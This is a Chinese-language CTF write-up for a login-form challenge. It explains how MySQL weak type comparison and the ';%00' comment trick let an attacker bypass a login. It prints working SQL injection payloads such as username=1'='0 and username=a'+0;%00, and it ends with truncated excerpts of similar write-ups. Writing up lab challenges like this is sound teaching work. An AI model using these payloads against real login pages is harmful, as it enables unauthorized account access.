CTF 登陸一下好麼?

2021-08-19 16:40:00 字數 1288 閱讀 8196

select * from user where username='使用者名稱' and password='密碼'  

利用  1'='1  0'='0

這樣顯然不行,因為查詢到資料庫中沒有username=1 的元組,返回了0

而  0 !='1'  所以需要改為  

username= 1'='0

password= 1'='0

先看前面username那一塊,由於兩個等號是從左往右計算的,

username=『p』不存在就會返回0(false),而0=''則會返回1,這樣where後面計算結果就變成了1 and 1,這樣最後就會把資料表中所有的資料挑出來。

username= 1』=』0 

password= 1』=』0 

或者 username=what』=』 

password=what』=』 

或者 username:admin』=』 

password:admin』=』 

sql裡面弱型別的比較,以下情況都會為true:

1='1'

1='1.0'

1='1後接字母(再後面有數字也可以)'

0='除了非0數字開頭的字串'

(2)利用mysql資料型別轉換特性以及特殊截斷符號「%00;」:

select * from table where username=0;  

select * from table where username='a'+0;  

這兩句均會返回庫中所有元組,就是說如果乙個字元型別的變數接收到乙個整形變數且值為0的時候,就會返回庫中所有元組

(第二句'a'+0會進行強制型別轉換,最後結果還是0)

其次,mysql的注釋符號除了-- + , # ,/**/之外,還有;%00。

利用這兩點,構造如下payload:

username=a'+0;%00&password=

就可以成功繞過了

遇到這種有登陸框的操作,顯示看他是post 還是get

一般是想到用萬能密碼,但是這道題過濾了字元,那麼萬能密碼就失效了

這道題給我的收穫是,登入框也可以進行注入

登陸一下好麼?

這個題過濾了絕大多數東西,然而留下了最關鍵的單引號。1 雙等號繞過。假設sql語句如下 select from user where username 使用者名稱 and password 密碼 現在我們知道單引號和等號沒有被過濾 這個題目是只過濾指定字元,測試一下就知道哪些被過濾了 那麼可以用一下...

注入技巧 (登陸一下好嗎)

通過這道題提示下寄幾 不是所有有關sql語句的注入都要報庫名錶名欄位名!首先開啟這道題,是倆輸入框,輸入1和1有回顯,輸入union等字元會不顯示,想著應該是回顯注入 此時應自動腦補sql語句 select from user where username and password 後經驗證是這乙個...

實驗吧登陸一下好嗎 WP

登陸一下好嗎?username 1 0 password 1 0 或者 username what password what 或者 username admin password admin 得到ctf 好吧,其實我提供的只是萬能密碼嘗試而已,真正的writeup在這裡 by wonderkun,...